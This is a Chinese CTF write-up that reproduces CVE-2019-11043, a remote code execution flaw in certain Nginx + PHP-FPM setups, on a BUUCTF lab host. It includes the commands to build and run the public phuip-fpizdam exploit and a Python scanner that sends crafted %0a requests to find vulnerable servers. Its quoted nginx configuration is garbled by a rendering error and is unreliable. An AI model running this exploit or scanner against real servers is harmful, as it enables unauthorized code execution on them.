当前位置:网站首页>buuctf [PHP]CVE-2019-11043

buuctf [PHP]CVE-2019-11043

2022-06-10 12:47:00 exploitsec

漏洞描述

CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。

向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:

location ~ [^/].php(/|KaTeX parse error: Can't use function '\.' in math mode at position 38: …path_info ^(.+?\̲.̲php)(/.*); fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; …}
攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。
https://blog.csdn.net/m0_46580995/article/details/107449400

漏洞影响

在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:

PHP 7.0 版本
PHP 7.1 版本
PHP 7.2 版本
PHP 7.3 版本

安装漏洞利用工具

git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build

复现exp需要安装go语言环境
使用github公开exp

apt-get install golang -y
最好国内源
go env -w GO111MODULE=on
go env -w GOPROXY=https://mirrors.aliyun.com/goproxy/,direct

在这里插入图片描述
环境如下
在这里插入图片描述
go run . “http://node3.buuoj.cn:27011/index.php”

在这里插入图片描述
在这里插入图片描述
打印环境env
在这里插入图片描述
python 检测脚本
CVE-2019-11043.py

#!/usr/bin/python
import requests,json
import time
now = int(round(time.time()*1000))
now_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(now/1000))
def check_version(url):
    headers = {
    
    'User-Agent': 'Mozilla/5.0',
    'D-Pisos': '8=D',
    'Ebut': 'mamku tvoyu'
    }
    r = requests.get(url, headers=headers)
    response_str = json.dumps(r.headers.__dict__['_store'])
    if r.status_code == 200 and 'PHP' in response_str and 'nginx' in response_str:
        print
        print 'Server= ' + r.headers.get('Server')
        print 'X-Powered-By= ' + r.headers.get('X-Powered-By')
        print '\n%s Base status code is 200' % now_time
        check_vuln(url)
    else:
        print response_str
def check_vuln(url):
    for i in range(1500,2000):
        url_dir = '/PHP%0Ais_the_shittiest_lang.php?' + 'Q' * i
        vuln_url = url + url_dir
        headers = {
    
        'User-Agent': 'Mozilla/5.0',
        'D-Pisos': '8=D',
        'Ebut': 'mamku tvoyu'
        }
        r = requests.get(vuln_url, headers=headers)
        if r.status_code == 502:
            print vuln_url
            print '%s Status code 502 for qsl=%s, adding as a candidate' % (now_time,str(i))
            print '%s The target is probably vulnerable. Possible QSLs: [ %s ] ' % (now_time, str(i))
            # print '%s Attack params found: --qsl %s --pisos 165 --skip-detect' % (now_time, str(i))
            print
if __name__ == '__main__':
    # url = 'http://10.10.20.100:8080/index.php'
    url = raw_input("url= ")
    check_version(url)
原网站

版权声明
本文为[exploitsec]所创,转载请带上原文链接,感谢
https://blog.csdn.net/qq_36241198/article/details/115216316